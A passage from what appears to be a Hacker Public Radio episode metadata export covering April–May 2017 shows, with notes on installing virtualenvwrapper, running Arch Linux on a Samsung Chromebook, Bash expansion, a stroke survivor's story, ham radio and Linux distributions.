                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n fth, \n venam.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2261Mon2017-04-03HPR Community News for March 2017HPR Volunteers
                                                            2262Tue2017-04-04Abstracting Nurse JesusEric Duhamel
                                                            2263Wed2017-04-05Freak Does Geekfth
                                                            2264Thu2017-04-06At The LibraryBill "NFMZ1" Miller
                                                            2265Fri2017-04-07WattOS on Lenovo X61sTony Hughes AKA TonyH1212
                                                            2266Mon2017-04-10Gamebooks: Lone Wolfklaatu
                                                            2267Tue2017-04-11Our Digital Artsigflup
                                                            2268Wed2017-04-12Fish On!Bill "NFMZ1" Miller
                                                            2269Thu2017-04-13Chocolate Milkvenam
                                                            2270Fri2017-04-14Managing tags on HPR episodes - 3Dave Morriss
                                                            2271Mon2017-04-17Raspberry Pi Zero WTony Hughes AKA TonyH1212
                                                            2272Tue2017-04-18In Which Our Hero Takes 4 Hours to Install Hyper-V Server 2012OnlyHalfTheTime
                                                            2273Wed2017-04-19Fountain Pensm1rr0r5h4d35
                                                            2274Thu2017-04-20First Microsoft Surface Pro Ubuntu 16.04 Dual bootJWP
                                                            2275Fri2017-04-21Penguicon 2017Ahuka
                                                            2276Mon2017-04-24Tunnels and Trolls and Dungeon Delversklaatu
                                                            2277Tue2017-04-25Outernet and other projectsm1rr0r5h4d35
                                                            2278Wed2017-04-26Some supplementary Bash tipsDave Morriss
                                                            2279Thu2017-04-27The first Intel CompuStick sound fix with LUbuntuJWP
                                                            2280Fri2017-04-28Lenovo X61s Part 2Tony Hughes AKA TonyH1212
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by Gmane\n(see below) and on the HPR server under Mailman.\n

                                                            \n

                                                            Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-April/thread.html\n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 43 comments in total.

                                                            \n

                                                            There are 14 comments on\n8 previous shows:

                                                            \n
                                                            • hpr2178\n(2016-12-07) \"Dice Mixer\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 2:\nKlaatu on 2017-04-04:\n\"Tin Horn\"

                                                              \n
                                                            • hpr2212\n(2017-01-24) \"meanderings Cyberpunk and the Minidisc\"\nby Quvmoh.
                                                            • \n
                                                            • \n
                                                              • Comment 4:\n1F on 2017-04-07:\n\"anti-hacker?\"

                                                              \n
                                                            • hpr2236\n(2017-02-27) \"Hoarding Raspberry Pis\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                              • Comment 4:\nDave Morriss on 2017-04-07:\n\"Pis or Pi's\"
                                                              • Comment 5:\nMike Ray on 2017-04-08:\n\"Pis or Pi's\"

                                                              \n
                                                            • hpr2249\n(2017-03-16) \"HPR New Year show episode 3\"\nby Various Hosts.
                                                            • \n
                                                            • \n
                                                              • Comment 3:\ndodddummy on 2017-04-03:\n\"New Episode Title: Conspriacy Gate!\"
                                                              • Comment 4:\nFrank on 2017-04-14:\n\"Windows on top\"

                                                              \n
                                                            • hpr2253\n(2017-03-22) \"How to make and use a stencil\"\nby @einebiene.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr2254\n(2017-03-23) \"Introduction to Model Rocketry\"\nby Steve Saner.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nChristopher M. Hobbs on 2017-03-31:\"[no title]\"
                                                              • Comment 2:\nRoan on 2017-04-19:\n\"ahh the memories\"
                                                              • Comment 3:\nnstr on 2017-04-23:\n\"!\"

                                                              \n
                                                            • hpr2255\n(2017-03-24) \"The Good Ship HPR\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 7:\ndodddummy on 2017-04-03:\n\"This should be a sticky show\"

                                                              \n
                                                            • hpr2259\n(2017-03-30) \"Minidiscs: A Response to HPR 2212\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 4:\nQuvmoh on 2017-04-04:\n\"minidisc\"

                                                              \n
                                                            \n

                                                            There are 29 comments on 13 of this month's shows:

                                                            \n
                                                            • hpr2261\n(2017-04-03) \"HPR Community News for March 2017\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJwp on 2017-04-03:\n\"One button submit\"
                                                              • Comment 2:\nDave Morriss on 2017-04-04:\n\"Radio, electromagnetic radiation and so forth\"
                                                              • Comment 3:\nKen Fallon on 2017-04-04:\n\"One Button will not fix the steady supply problem\"

                                                              \n
                                                            • hpr2263\n(2017-04-05) \"Freak Does Geek\"\nby fth.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBeeza on 2017-04-10:\n\"Brilliant Show\"

                                                              \n
                                                            • hpr2264\n(2017-04-06) \"At The Library\"\nby Bill \"NFMZ1\" Miller.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2017-04-05:\n\"Podnutz\"
                                                              • Comment 2:\nClinton Roy on 2017-04-05:\n\"Great Idea\"
                                                              • Comment 3:\nWindigo on 2017-04-10:\n\"Similar experience\"

                                                              \n
                                                            • hpr2266\n(2017-04-10) \"Gamebooks: Lone Wolf\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nLes Orchard on 2017-04-11:\"[no title]\"

                                                              \n
                                                            • hpr2269\n(2017-04-13) \"Chocolate Milk\"\nby venam.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJWP on 2017-04-15:\n\"Great\"
                                                              • Comment 2:\ndoddummy on 2017-04-23:\n\"I liked the show but...\"
                                                              • Comment 3:\nKen Fallon on 2017-04-24:\n\"It is a syndicated show\"

                                                              \n
                                                            • hpr2270\n(2017-04-14) \"Managing tags on HPR episodes - 3\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSteve on 2017-04-19:\n\"Make it so\"
                                                              • Comment 2:\nDave Morriss on 2017-04-19:\n\"Thanks Steve\"
                                                              • Comment 3:\ngws on 2017-04-19:\n\"series\"
                                                              • Comment 4:\nDave Morriss on 2017-04-19:\n\"Series same as Tag?\"
                                                              • Comment 5:\ngws on 2017-04-20:\n\"tag vs. series\"
                                                              • Comment 6:\nBrenda J. Butler on 2017-04-23:\"[no title]\"
                                                              • Comment 7:\nDave Morriss on 2017-04-24:\n\"Tags and Series\"
                                                              • Comment 8:\nDave Morriss on 2017-04-24:\n\"Thanks Brenda\"

                                                              \n
                                                            • hpr2271\n(2017-04-17) \"Raspberry Pi Zero W\"\nby Tony Hughes AKA TonyH1212.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndroops on 2017-04-22:\n\"Very Cool\"

                                                              \n
                                                            • hpr2272\n(2017-04-18) \"In Which Our Hero Takes 4 Hours to Install Hyper-V Server 2012\"\nby OnlyHalfTheTime.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSteve on 2017-04-17:\n\"Been there\"

                                                              \n
                                                            • hpr2273\n(2017-04-19) \"Fountain Pens\"\nby m1rr0r5h4d35.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndroops on 2017-04-18:\n\"Fountain Pens?\"
                                                              • Comment 2:\nDave Morriss on 2017-04-19:\n\"Great show. We need more on this subject\"

                                                              \n
                                                            • hpr2274\n(2017-04-20) \"First Microsoft Surface Pro Ubuntu 16.04 Dual boot\"\nby JWP.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2017-04-28:\n\"Very interesting possibility\"

                                                              \n
                                                            • hpr2277\n(2017-04-25) \"Outernet and other projects\"\nby m1rr0r5h4d35.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nLowtek Morgellon on 2017-04-25:\n\"Outernet User\"
                                                              • Comment 2:\nM1rr0r5h4d35 on 2017-04-25:\n\"Sounds Awesome!\"

                                                              \n
                                                            • hpr2278\n(2017-04-26) \"Some supplementary Bash tips\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nunverified on 2017-04-28:\n\"You Rock\"
                                                              • Comment 2:\nDave Morriss on 2017-04-29:\n\"Thanks\"

                                                              \n
                                                            • hpr2280\n(2017-04-28) \"Lenovo X61s Part 2\"\nby Tony Hughes AKA TonyH1212.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTony Hughes on 2017-03-09:\n\"hpr 2280\"

                                                              \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2282,"date":"2017-05-02","title":"Pathfinder Adventure Card Game","duration":2445,"summary":"Klaatu talks about the Pathfinder RPG franchise, the OGL license, and the Adventure Card Game","notes":"

                                                            Klaatu introduces you to the Pathfinder and the Pathfinder Adventure Card Game.

                                                            \n\n

                                                            And since it's in the same neighborhood, Klaatu also mentions the Open Game License and mentions more than once Forgotten Realms.

                                                            ","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"game,gaming,tabletop,card,rpg","version":0,"downloads":0,"valid":1}, {"id":2283,"date":"2017-05-03","title":"Saving money shaving with double and single edge safety razors","duration":1031,"summary":"Using double and single edge safety razors to save money","notes":"","hostid":77,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"shaving,razor,safety razor,razor blade","version":0,"downloads":0,"valid":1}, {"id":2284,"date":"2017-05-04","title":"Resurrecting a dead ethernet switch","duration":893,"summary":"Replacing a failing capacitor in the power supply of an ethernet switch to make it work again.","notes":"

                                                            In this episode I simply let you participate with me replacing an electrolytic capacitor in the power supply of an Ethernet switch.

                                                            \n

                                                            The broken capacitor shows a bulge in its housing and was therefore easily identifiable. The supply voltage in the fault condition could be observed with an oscilloscope to completely collapse when load is turned on. Both facts are illustrated in the image below.

                                                            \n

                                                            Replacing the capacitor fixed the switch and brought it back in service.

                                                            \n

                                                            \"Faulty

                                                            \n","hostid":271,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Ethernet switch, capacitor, power supply","version":0,"downloads":0,"valid":1}, {"id":2285,"date":"2017-05-05","title":"The Tick Conspiracy","duration":621,"summary":"A show that covers the ongoing war between ticks (may they rot in hell) and everything else.","notes":"

                                                            \nReminder: This show is released in .ogg a non patent encumbered format.\n

                                                            \n","hostid":354,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Ticks, Paranoia, Comedic, Informative?","version":0,"downloads":0,"valid":1}, {"id":2286,"date":"2017-05-08","title":"Surviving a Stroke","duration":644,"summary":"on the 2nd of February I had a stroke, this is my story","notes":"

                                                            First off a disclaimer: anything I say here is my experience and is in no way intended as advice to anyone, everyone who experiences or is at risk of a stroke is different and you must make your own lifestyle choices based on professional advice.

                                                            \n

                                                            That clear lets get on with my show. On the 2nd February 2017 I had a Stroke, it came completely without warning. I was out with my wife, just about to start a Bridge class we were attending. I sat down at the table and just after sitting down was blasted with what I thought was White Noise from faulty hearing aids. After quickly removing them without any effect I thought I was having a sudden severe migraine, which I have from time to time. However I was unable to communicate what was happening and after several minutes my wife wrote on a paper the words “Home” and “Hospital” and I pointed to hospital. An Emergency ambulance was duly called and I was transferred to the local Emergency Department. Several hours later in the early hours of the next morning they admitted me, still not sure what had happened. It was only after a scan that afternoon that they concluded that I had had a Stroke.

                                                            \n

                                                            I was seen by a consultant that evening who confirmed this and as I still had residual problems on my right side concluded that it was a stroke, and not a TIA (Transient Ischaemic Attack) or a mini stroke as it is sometimes called. I spent the next 12 days in hospital having further tests, including another scan, an MRI as opposed to the previous CT scan I had had on admission. After seeing the results of this scan the Consultant was amazed that I was not more severely affected, in other cases of the type of stroke I suffered the physical and cognitive damage is much more severe. It was looking like I had thankfully, dodged a bullet.

                                                            \n

                                                            That is not to say there were no effects. My right side was effected and the fine motor control was damaged. Coordination in using my right hand and arm were initially difficult as was writing (I am predominantly right handed). Also my mouth felt like I was wearing someone’s false teeth, even though I have all my own. However the main effect has been fatigue, initially severe, but as I write this 6 weeks later this is starting to improve, although I still tire after 2-3 hours doing things that I could have done all day previously. I also still have a little feeling of weakness in my right hand and arm and writing is still an issue, thankfully most of my writing is done on a keyboard.

                                                            \n

                                                            So what caused it I hear you yelling, well the truth is they don’t know. The most serious risks are to people that Drink alcohol excessively, Smoke and have a high fat diet. Also those over weight particularly the obese, and people with diabetes are high risk. Another major risk factor is genetic, and I remembered afterwards that my Grandfather and an Uncle had major strokes that ultimately led to their deaths. Also stress and high blood pressure can be a factor.

                                                            \n

                                                            I don’t drink or smoke and have been a vegetarian for many years, also my blood pressure is checked regularly and was always seen as within normal range. However I was at the time of the stroke 21lb over weight, but even before it happened I had lost 7lb. Since the stroke the blood tests also show I am pre-diabetic so I need to increase my exercise (again something I had started to do), and alter my diet to reduce my blood sugars. Not major issues as I had started to attend a gym and walk more as part of the weight loss plan, and I actually prefer healthy food, and now have a reason to say to people when I’m in company why I eat what and the way I do.

                                                            \n

                                                            The main effect for me has been the restriction on my mobility as the Consultant will not let me drive until 3 months post discharge (14th May), which means I have to rely on others or get public transport, this is not the problem but having to walk from transport stops to where I’m going is due to the fatigue. Roll on May 14th.

                                                            \n

                                                            I thought I would record this show as a bit of a warning, and for listeners to realise that a Stroke can and does happen to anyone. On a positive note there is life after stroke and even for those who are more seriously disabled by a stroke many can and do recover most if not all the function they had before hand.

                                                            \n

                                                            Further info on Stroke can be found here:

                                                            \n

                                                            https://www.stroke.org.uk/

                                                            \n

                                                            https://www.nhs.uk/conditions/stroke/pages/introduction.aspx

                                                            \n","hostid":338,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"health,stroke,recovery,TIA","version":0,"downloads":0,"valid":1}, {"id":2287,"date":"2017-05-09","title":"Desparately Seeking Saving RMS - Introduction","duration":1830,"summary":"My attempt to start moving towards the RMS Model","notes":"

                                                            \nMy start towards the RMS ideal.\n

                                                            \n","hostid":151,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"free software, richard stallman, RMS","version":0,"downloads":0,"valid":1}, {"id":2288,"date":"2017-05-10","title":"Installing and using virtualenvwrapper for python","duration":665,"summary":"Installing and using virtualenvwrapper for python, (What I learned the hard way!)","notes":"

                                                            Installing Virtual env wrapper in linux

                                                            \n

                                                            Best documentation I have found for working with virtualenvwrapper:
                                                            \nhttps://python-guide-pt-br.readthedocs.io/en/latest/dev/virtualenvs/

                                                            \n

                                                            Assuming you have pip installed.

                                                            \n
                                                              \n
                                                            1. Install virtualenv
                                                            2. \n
                                                            \n
                                                                sudo -H pip install virtualenv
                                                            \n
                                                              \n
                                                            1. Install virtualenvwrapper
                                                            2. \n
                                                            \n
                                                                sudo -H pip install virtualenvwrapper
                                                            \n
                                                              \n
                                                            1. Modify your .bashrc file to include that following lines:
                                                            2. \n
                                                            \n
                                                                export WORKON_HOME=~/Envs\n    source /usr/local/bin/virtualenvwrapper.sh
                                                            \n
                                                              \n
                                                            1. Test the commands:

                                                              \n
                                                                \n
                                                              • mkvirtualenv <project_name>
                                                              • \n
                                                              • rmvirtualenv <project_name>
                                                              • \n
                                                              • lsvirtualenv (Lists all virtual environments you have\ncreated.)

                                                              • \n
                                                              • workon <project_name>
                                                              • \n
                                                              • deactivate

                                                              • \n
                                                            2. \n
                                                            3. Don't use SUDO when installing inside the virtualenv

                                                            4. \n
                                                            \n","hostid":355,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"python, programming","version":0,"downloads":0,"valid":1}, {"id":2289,"date":"2017-05-11","title":"Sendy Send. Tell if your email has been read!!","duration":281,"summary":"Sigflup announces sendy send, which is a mechanism to tell if people read your email.","notes":"

                                                            https://ss.theadesilva.com/

                                                            ","hostid":115,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"HTML mail,read notification","version":0,"downloads":0,"valid":1}, {"id":2290,"date":"2017-05-12","title":"How to change the height of your Ironing board","duration":168,"summary":"Amazing Life Hack that will change your life forever.","notes":"

                                                            Tired of having back ache after Ironing

                                                            \n

                                                            Check out this amazing episode to hear how you too can transform a dull chore into an enjoyable experience !!!!

                                                            \n

                                                            \n\n \"Ironing\n\n

                                                            \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Amazing Life Hack","version":0,"downloads":0,"valid":1}, {"id":2291,"date":"2017-05-15","title":"Arch on CELES","duration":725,"summary":"Convinces you, and herself that Arch Linux on a Chromebook is a good idea!","notes":"

                                                            ArchLinux on a CELES

                                                            \n

                                                            Samsung Chromebook 3

                                                            \n

                                                            Before begining

                                                            \n\n

                                                            How-to

                                                            \n
                                                              \n
                                                            1. Remove HW write-protect screw\n
                                                            2. \n
                                                            3. Developer mode\n
                                                                \n
                                                              • Enable Developer mode
                                                              • \n
                                                            4. \n
                                                            \n
                                                            \n

                                                            ...press, and hold the Esc + F3 (Refresh) keys – then press the Power button. This enters Recovery Mode...

                                                            \n
                                                            \n
                                                            \n

                                                            ...press Ctrl + D. It will ask you to confirm, then the system will revert its state and enable Developer Mode...

                                                            \n
                                                            \n
                                                            \n

                                                            ...press Ctrl + Alt + F2 (F2 is the \"forward\" arrow on the top row, →)

                                                            \n
                                                            \n
                                                            \n

                                                            ...Use chronos as the username...

                                                            \n
                                                            \n
                                                              \n
                                                            1. SU & FW\n
                                                                \n
                                                              • Escalate privileges. sudo -i
                                                              • \n
                                                              • ChromeOS Firmware Utility Script\n
                                                                  \n
                                                                1. Install RW_LEGACY
                                                                2. \n
                                                                3. Set GBB Flags (1 second, SeaBIOS/Legacy)
                                                                4. \n
                                                                5. Remove ChromeOS Bitmaps (To look cool)
                                                                6. \n
                                                              • \n
                                                            2. \n
                                                            3. OS & Kernel\n
                                                                \n
                                                              • Install ArchLinux
                                                              • \n
                                                              • Install yaourt
                                                              • \n
                                                              • Install kernel with IRQ patch:
                                                              • \n
                                                              • yaourt -G linux-galliumos-braswell&&cd !:2
                                                              • \n
                                                              • makepkg -sifCc --skipinteg
                                                              • \n
                                                              • Install galliumos-braswell-config:\n
                                                                  \n
                                                                • yaourt -S --force galliumos-braswell-config
                                                                • \n
                                                              • \n
                                                            4. \n
                                                            5. Grub\n
                                                                \n
                                                              • Regenerate Grub configuration file\n
                                                                  \n
                                                                • grub-mkconfig -o /boot/grub/grub.cfg
                                                                • \n
                                                              • \n
                                                            6. \n
                                                            \n

                                                            Extra

                                                            \n\n

                                                            Sources

                                                            \n
                                                            \n

                                                            /etc/default/grub

                                                            \n
                                                            \n
                                                            GRUB_DEFAULT=0\nGRUB_TIMEOUT=5\nGRUB_DISTRIBUTOR=\"Arch\"\nGRUB_CMDLINE_LINUX_DEFAULT=\"quiet splash irqpoll\"\nGRUB_CMDLINE_LINUX=\"\"\nGRUB_PRELOAD_MODULES=\"part_gpt part_msdos\"\nGRUB_TERMINAL_INPUT=console\nGRUB_GFXMODE=1024x768\nGRUB_GFXPAYLOAD_LINUX=keep\nGRUB_DISABLE_LINUX_UUID=true\nGRUB_DISABLE_RECOVERY=true\nGRUB_COLOR_HIGHLIGHT=\"light-cyan/blue\"\nGRUB_SAVEDEFAULT=\"true\"
                                                            \n
                                                            \n

                                                            /etc/pacman.conf

                                                            \n
                                                            \n
                                                            RootDir     = /\nDBPath      = /var/lib/pacman/\nCacheDir    = /var/cache/pacman/pkg/\nLogFile     = /var/log/pacman.log\nGPGDir      = /etc/pacman.d/gnupg/\nHookDir     = /etc/pacman.d/hooks/\nHoldPkg     = pacman glibc\nCleanMethod = KeepInstalled\nUseDelta    = 0.7\nArchitecture = auto\nIgnorePkg   =\nIgnoreGroup =\nNoUpgrade   =\nNoExtract   =\nUseSyslog\nColor\nTotalDownload\nCheckSpace\nVerbosePkgLists\nILoveCandy\nSigLevel = PackageRequired\nLocalFileSigLevel = Optional\nRemoteFileSigLevel = Required\n[core]\nInclude = /etc/pacman.d/mirrorlist\n[extra]\nInclude = /etc/pacman.d/mirrorlist\n[community]\nInclude = /etc/pacman.d/mirrorlist\n[arch-anywhere]\nServer = https://arch-anywhere.org/repo/$arch\nSigLevel = Never
                                                            \n
                                                            \n

                                                            lscpu

                                                            \n
                                                            \n
                                                            Architecture :        x86_64\nMode(s) opératoire(s) des processeurs : 32-bit, 64-bit\nBoutisme :            Little Endian\nProcesseur(s) :       2\nListe de processeur(s) en ligne : 0,1\nThread(s) par cœur : 1\nCœur(s) par socket : 2\nSocket(s) :           1\nNœud(s) NUMA :       1\nIdentifiant constructeur : GenuineIntel\nFamille de processeur : 6\nModèle :             76\nNom de modèle :      Intel(R) Celeron(R) CPU  N3050  @ 1.60GHz\nRévision :           3\nVitesse du processeur en MHz : 642.089\nVitesse maximale du processeur en MHz : 2160,0000\nVitesse minimale du processeur en MHz : 480,0000\nBogoMIPS :            3200.00\nVirtualisation :      VT-x\nCache L1d :           24K\nCache L1i :           32K\nCache L2 :            1024K\nNœud NUMA 0 de processeur(s) : 0,1\nFlags:                 fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology tsc_reliable nonstop_tsc aperfmperf tsc_known_freq pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm sse4_1 sse4_2 movbe popcnt tsc_deadline_timer aes rdrand lahf_lm 3dnowprefetch epb tpr_shadow vnmi flexpriority ept vpid tsc_adjust smep erms dtherm ida arat
                                                            \n
                                                            \n

                                                            lspci

                                                            \n
                                                            \n
                                                            00:00.0 Host bridge: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Series SoC Transaction Register (rev 21)\n00:02.0 VGA compatible controller: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Integrated Graphics Controller (rev 21)\n00:0b.0 Signal processing controller: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Series Power Management Controller (rev 21)\n00:14.0 USB controller: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Series USB xHCI Controller (rev 21)\n00:1b.0 Audio device: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Series High Definition Audio Controller (rev 21)\n00:1c.0 PCI bridge: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Series PCI Express Port #1 (rev 21)\n00:1c.2 PCI bridge: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Series PCI Express Port #3 (rev 21)\n00:1f.0 ISA bridge: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Series PCU (rev 21)\n02:00.0 Network controller: Intel Corporation Wireless 7265 (rev 59)
                                                            \n","hostid":349,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"xe500c13,celes,chromebook,archlinux,arch","version":0,"downloads":0,"valid":1}, {"id":2292,"date":"2017-05-16","title":"Baofeng UV5R VHF/UHF Handset part 1","duration":1306,"summary":"An in depth series about the Baofeng UV5R VHF/UHF hand-held transceiver.","notes":"

                                                            In this episode I give a brief introduction and demonstration of the Baofeng UV5R VHF / UHF Hand Held Transceiver

                                                            \n\n","hostid":201,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"Amateur Radio","version":0,"downloads":0,"valid":1}, {"id":2293,"date":"2017-05-17","title":"More supplementary Bash tips","duration":2305,"summary":"Finishing off the subject of expansion in Bash (part 2)","notes":"

                                                            More supplementary Bash tips

                                                            \n

                                                            Pathname expansion; part 2 of 2

                                                            \n

                                                            Expansion

                                                            \n

                                                            As we saw in the last episode 2278 (and others in this sub-series) there are eight types of expansion applied to the command line in the following order:

                                                            \n
                                                              \n
                                                            • Brace expansion (we looked at this subject in episode 1884)
                                                            • \n
                                                            • Tilde expansion (seen in episode 1903)
                                                            • \n
                                                            • Parameter and variable expansion (this was covered in episode 1648)
                                                            • \n
                                                            • Command substitution (seen in episode 1903)
                                                            • \n
                                                            • Arithmetic expansion (seen in episode 1951)
                                                            • \n
                                                            • Process substitution (seen in episode 2045)
                                                            • \n
                                                            • Word splitting (seen in episode 2045)
                                                            • \n
                                                            • Pathname expansion (the previous episode 2278 and this one)
                                                            • \n
                                                            \n

                                                            This is the last topic in the (sub-) series about expansion in Bash.

                                                            \n

                                                            In this episode we will look at extended pattern matching as also defined in the “Manual Page Extracts” section at the end of the long notes.

                                                            \n

                                                            Long Show Notes

                                                            \n

                                                            I have written out a moderately long set of notes about this subject and these are available here.

                                                            \n

                                                            Links

                                                            \n\n\n\n\n\n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash, expansion, filename expansion, extglob, extended pattern matching","version":0,"downloads":0,"valid":1}, {"id":2294,"date":"2017-05-18","title":"Activities with a Toddler","duration":663,"summary":"11 things you can do with a toddler you are taking care of.","notes":"

                                                            Here is the list I check when I am looking for something to do with my toddler. Note that these are good indoor activities.

                                                            \n
                                                            [ ] Milk and TV\n[ ] Duplo\n[ ] Dollhouse\n[ ] Meal preparation\n[ ] Mixing bowl\n[ ] Crafts or painting\n[ ] Sink time\n[ ] Chasing and tickling\n[ ] Reading\n[ ] Cat videos\n[ ] Container of similar things
                                                            ","hostid":250,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"parenting, toddlers, children","version":0,"downloads":0,"valid":1}, {"id":2295,"date":"2017-05-19","title":"MX Linux","duration":529,"summary":"Show about my latest Linux Distro find","notes":"

                                                            MX Linux OS

                                                            \n

                                                            Hi To all in HPR land, this is Tony Hughes in the UK back with you. I noticed that the queue has a couple of gaps in the next week or so here goes again.

                                                            \n

                                                            Apart from my last show I've recently done shows on current Linux distro's that are suitable for older hardware but with a modern look and feel and fully featured with the latest software available.

                                                            \n

                                                            As you have probably gathered by now if you have listened to my other shows I am a big fan of older Lenovo Laptops. My main Lenovo is an X230i i3 with a 2.5G cpu and 8Gig of Ram and a 120Gig SSD, it did have Mint 17.3 running on it and after running Mint 18 / 18.1 for several months on my desktop PC I decided to upgrade to 18.1 on the X230i.

                                                            \n

                                                            I completed the install and on first boot after install the boot time had risen from about 40s to over 2 minutes, I suspected a problem with the install so did it again with the same result. I couldn't find any issues reported on the net so resorted to installing Linux Lite which is based on Ubuntu 16.04 as is Mint 18. The problem persisted after this install despite getting near 40s boots on the Lenovo X61s with an SSD and the same Distro.

                                                            \n

                                                            I did another web search but could not find any other reports of this issue with the X230i so put a post on the Facebook community Distro hoppers. The response I got back from one member was to try MX16.

                                                            \n

                                                            MX Linux is a joint venture from the antiX and former MEPIS communities and is based on the latest Debian Stable "Jessie" with the XFCE desk top environment.

                                                            \n

                                                            I duly downloaded it and installed it in a Virtual PC using virtual box to see what it looked and felt like. The install is fairly user friendly although if you've never had experience of Linux and installed other Distributions a new user may be a bit unsure when asked about the MBR and where to put it, other than that a fairly straightforward install.

                                                            \n

                                                            On install there is a fairly good selection of the software you would need including a full install of LibreOffice, FireFox, Thunderbird, GIMP and synaptic package manager for adding further software from the repositories. MX have also included the ability to simply install codecs and additional drivers and a software installation system for popular Apps from the MX Welcome that comes up at boot or if disabled can be started form the menu. Also I installed it on a virtual 8Gig HDD and GParted reports use of 4.64Gig after install and updates, by default it only installs a 1G swap despite 2Gig allocated Ram in the VM.

                                                            \n

                                                            I liked the look of MX and decided to give it a go on the X230i, install went smoothly and lo and behold boot was back to around 40s on first boot after install. So I've updated the install, installed my packages I use that are not there by default such as Audacity, Scratch and a couple of other things I use. I've also put it on the X61s I use and again working faultlessly, so I'm happy again. Since I installed MX I found out from a member of my Makerspace/LUG that he had experienced the same problem with Ubuntu 16.04 based distro's and crippled SSD Boot times.

                                                            \n

                                                            I like MX so much when it come to time to reinstall my Desk Top PC, which is about the only PC I use that is not constantly changing OS, I think I will be putting MX on it. This is a big deal for me as I've been a loyal Mint user for over 5 years but MX is working so well on the Laptops at the moment it would be good to have the same OS on the Desktop PC as well.

                                                            \n

                                                            Will MX stop my Distro Hopping, NO, I like trying out new things that's why I have several Laptops kicking around so I have spare hardware to try out new Linux stuff, but it is good to have something stable around when you need it, hence sticking with Mint for so long on the Desktop.

                                                            \n\n","hostid":338,"series":57,"explicit":0,"license":"CC-BY-SA","tags":"Linux, Distributions","version":0,"downloads":0,"valid":1}, {"id":2296,"date":"2017-05-22","title":"Baofeng UV5R VHF/UHF Handset part 2","duration":724,"summary":"An in depth series about the Baofeng UV5R VHF/UHF hand-held transceiver.","notes":"

                                                            In this episode I go through the general specification of the Baofeng UV5R VHF / UHF Hand Held Transceiver

                                                            \n\n","hostid":201,"series":43,"explicit":1,"license":"CC-BY-SA","tags":"Amateur Radio","version":0,"downloads":0,"valid":1}, {"id":2297,"date":"2017-05-23","title":"More Magnatune Favourites","duration":4112,"summary":"Andrew and Dave offer you some more tracks from Magnatune","notes":"

                                                            More Magnatune Favourites

                                                            \n

